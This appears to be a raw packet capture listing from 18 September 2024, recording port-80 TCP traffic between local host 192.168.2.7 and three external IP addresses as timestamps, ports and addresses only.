Sep 18, 2024 14:30:10.212548018 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.212548018 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.212557077 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.212568045 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.212572098 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.212579012 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.212589979 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.212600946 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.212604046 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.212606907 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.212613106 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.212624073 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.212625027 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.212625027 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.212636948 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.212642908 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.212650061 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.212658882 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.212661028 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.212672949 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.212683916 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.212686062 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.212694883 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.212707043 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.212708950 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.212719917 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.212726116 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.212732077 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.212743044 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.212743998 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.212743998 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.212754965 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.212766886 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.212773085 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.212779045 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.212800980 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.212852001 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.213072062 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213083982 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213094950 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213108063 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213119030 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213121891 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.213131905 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213144064 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213150024 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.213155985 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213166952 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.213167906 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213180065 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213191032 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213196039 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.213202953 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213215113 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213223934 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.213228941 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213237047 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.213248014 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213260889 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213267088 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.213273048 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213284969 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213293076 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.213296890 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213310957 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213310957 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.213323116 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213334084 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213335991 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.213345051 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213357925 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213370085 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213371038 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.213382006 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.213382006 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213397026 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213407993 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213414907 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.213427067 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213438034 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.213443041 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.213450909 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.213457108 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.213464022 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.213474989 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.213485003 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.213485956 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.213489056 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.213499069 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.213510990 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.213512897 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.213515997 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.213526964 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.213529110 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.213538885 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.213545084 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.213551998 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.213560104 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.213565111 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.213577032 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.213587046 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.213587999 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.213599920 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.213610888 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.213613033 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.213624954 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.213629961 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.213635921 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.213644028 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.213646889 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.213659048 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.213668108 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.213670015 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.213691950 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.213707924 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.213956118 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.213968992 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.213979006 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.213990927 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.213992119 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214003086 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214009047 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214014053 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214030981 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214036942 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214051008 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214052916 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214062929 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214073896 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214077950 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214085102 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214096069 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214107037 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214107037 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214118004 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214122057 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214129925 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214142084 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214142084 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214154959 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214168072 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214173079 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214189053 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214190960 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214200020 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214200974 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214211941 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214224100 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214224100 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214235067 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214242935 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214246035 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214257002 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214267015 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214267969 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214282990 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214284897 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214289904 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214298964 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214303017 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214313984 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214323997 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214324951 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214343071 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214354038 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214359045 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214373112 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214385033 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214396000 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214397907 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214397907 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214407921 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214421034 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214432001 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214441061 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214441061 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214445114 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214458942 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214471102 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214483023 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214493990 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214495897 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214495897 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214504957 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214518070 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214529037 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214536905 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214536905 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214541912 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214554071 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214565992 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214574099 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214574099 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214577913 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214622974 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214622974 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214859962 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214873075 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214884996 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214895964 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214903116 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214907885 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214920044 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214924097 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214931011 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214942932 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214953899 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214960098 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214960098 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214967012 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214976072 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.214978933 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.214989901 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.215002060 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.215013027 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.215023994 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.215034962 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.215034962 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.215042114 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.215043068 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.215055943 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.215055943 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.215070963 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.215081930 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.215092897 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.215099096 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.215104103 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.215106010 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.215116024 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.215127945 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.215138912 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215148926 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.215148926 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.215156078 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215164900 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.215167999 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215182066 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215190887 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215200901 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215213060 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215219021 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.215219975 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.215224028 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215244055 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215255976 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215269089 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215282917 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215285063 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.215285063 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.215285063 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.215295076 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215306044 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215317965 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215328932 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215339899 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215348959 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.215348959 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.215352058 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215362072 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215373993 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215393066 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215395927 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.215395927 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.215395927 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.215405941 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215416908 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215428114 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215431929 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.215431929 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.215439081 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215451002 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215462923 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215502024 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.215502024 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.215502024 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.215548992 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215585947 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.215763092 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215774059 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215785027 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215796947 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215804100 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.215807915 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215818882 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215821028 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.215830088 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215841055 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.215842009 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215852976 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215862989 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.215863943 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.215878010 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.215898991 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.215900898 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.215909958 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.215918064 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.215924025 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.215935946 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.215936899 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.215939999 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.215954065 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.215956926 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.215966940 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.215979099 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.215986013 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.215990067 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216002941 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216010094 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216015100 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216027975 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216034889 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216046095 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216049910 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216058969 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216069937 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216077089 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216083050 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216103077 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216104031 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216115952 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216120005 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216130972 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216144085 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216145039 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216157913 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216160059 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216171980 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216182947 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216183901 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216198921 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216211081 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.216211081 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.216224909 CEST	80	49705	103.130.147.211	192.168.2.7
